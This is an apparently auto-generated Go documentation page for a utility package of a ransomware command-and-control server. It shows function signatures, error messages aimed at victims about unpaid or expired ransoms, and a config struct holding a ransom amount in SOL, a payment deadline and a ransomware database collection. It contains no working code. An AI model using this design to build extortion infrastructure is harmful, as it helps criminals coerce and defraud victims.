Documentation
¶
Index ¶
- Constants
- Variables
- func BadRequest(w http.ResponseWriter, reason error)
- func Clear()
- func Forbidden(w http.ResponseWriter, reason error)
- func GInternalServerError(w http.ResponseWriter)
- func GUnauthorized(w http.ResponseWriter)
- func GetProperError(err error) string
- func HandleError(w http.ResponseWriter, status int, reason error)
- func InternalServerError(w http.ResponseWriter, reason error)
- func LoadPEMFile(typeString string) ([]byte, error)
- func NotFound(w http.ResponseWriter, reason error)
- func RandString() string
- func Run(name string, arg ...string)
- func SetTitle(format string, content ...interface{})
- func Unauthorized(w http.ResponseWriter, reason error)
- type ConfigVars
- type ErrorResponse
Constants ¶
View Source
const (
CHAR_LIST = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
)
Variables ¶
View Source
var ( // Database Errors ErrMustBePointer = errors.New("must be a pointer") ErrNotFound = errors.New("no matches found") ErrFilterCollision = errors.New("collision on filter") // HTTP Errors ErrNotJSON = errors.New("not json") ErrCantProccess = errors.New("can't proccess") ErrInvalidDump = errors.New("invalid dump") ErrNotPaid = errors.New("not paid") ErrNoLongerValid = errors.New("no longer valid") ErrInvalidRSA = errors.New("invalid rsa") ErrHashesExist = errors.New("hashes exist") ProperErrors = map[error]string{ ErrNotFound: "No matches found in database.", ErrFilterCollision: "Collision on filter query.", ErrNotJSON: "Request contains invalid JSON. Please use application/json.", ErrCantProccess: "Cannot process successful callback.", ErrInvalidDump: "Invalid indentifier information, please try again.", ErrNotPaid: "Ransom has not been paid yet.", ErrNoLongerValid: "Ransom has expired and is no longer valid. Goodbye.", ErrInvalidRSA: "Invalid RSA data, please try again.", ErrHashesExist: "Hashes already exist in database. Resolve the pending ransom.", } )
Functions ¶
func BadRequest ¶
func BadRequest(w http.ResponseWriter, reason error)
func Forbidden ¶
func Forbidden(w http.ResponseWriter, reason error)
func GInternalServerError ¶
func GInternalServerError(w http.ResponseWriter)
func GUnauthorized ¶
func GUnauthorized(w http.ResponseWriter)
func GetProperError ¶
func HandleError ¶
func HandleError(w http.ResponseWriter, status int, reason error)
func InternalServerError ¶
func InternalServerError(w http.ResponseWriter, reason error)
func LoadPEMFile ¶
func NotFound ¶
func NotFound(w http.ResponseWriter, reason error)
func RandString ¶
func RandString() string
func Unauthorized ¶
func Unauthorized(w http.ResponseWriter, reason error)
Types ¶
type ConfigVars ¶
type ConfigVars struct {
C2 struct {
RansomAmountSOL float64 `json:"ransom_amount_sol"`
RansomDeadlineHours int `json:"ransom_deadline_hours"`
} `json:"c2"`
Database struct {
ConnectionURI string `json:"connection_uri"`
DatabaseName string `json:"database_name"`
CollectionRansomware string `json:"collection_ransomware"`
ConnectionTimeoutSeconds int `json:"connection_timeout_seconds"`
} `json:"database"`
}
var (
Config ConfigVars
)
type ErrorResponse ¶
Click to show internal directories.
Click to hide internal directories.